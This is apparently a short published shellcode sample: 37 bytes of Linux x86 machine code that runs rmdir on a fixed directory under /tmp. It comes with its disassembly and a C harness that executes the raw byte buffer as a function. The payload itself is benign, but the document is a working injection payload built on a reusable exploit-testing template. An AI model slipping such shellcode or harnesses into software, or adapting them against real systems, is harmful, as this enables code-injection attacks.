/*

Title: Linux x86 rmdir - 37 bytes

Author: kw4 <kw4.nop@gmail.com>

useful for testing purposes

08048060 <_start>:

8048060: 31 c0 xor %eax,%eax

8048062: 50 push %eax

8048063: 68 6f 6c 68 6f push $0x6f686c6f

8048068: 68 68 6f 6c 68 push $0x686c6f68

804806d: 68 2f 68 6f 6c push $0x6c6f682f

8048072: 68 2f 74 6d 70 push $0x706d742f

8048077: 89 e3 mov %esp,%ebx

8048079: b0 28 mov $0x28,%al

804807b: cd 80 int $0x80

804807d: 31 c0 xor %eax,%eax

804807f: 89 c3 mov %eax,%ebx

8048081: b0 01 mov $0x1,%al

8048083: cd 80 int $0x80

*/

#include<stdio.h>

#include<string.h>

unsigned char code[] = \

"\x31\xc0\x50\x68\x6f\x6c\x68\x6f\x68\x68\x6f\x6c\x68\x68\x2f\x68\x6f\x6c\x68\x2f\x74\x6d\x70\x89\xe3\xb0\x28\xcd\x80\x31\xc0\x89\xc3\xb0\x01\xcd\x80";

main() {

printf("Shellcode Length: %d\n", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}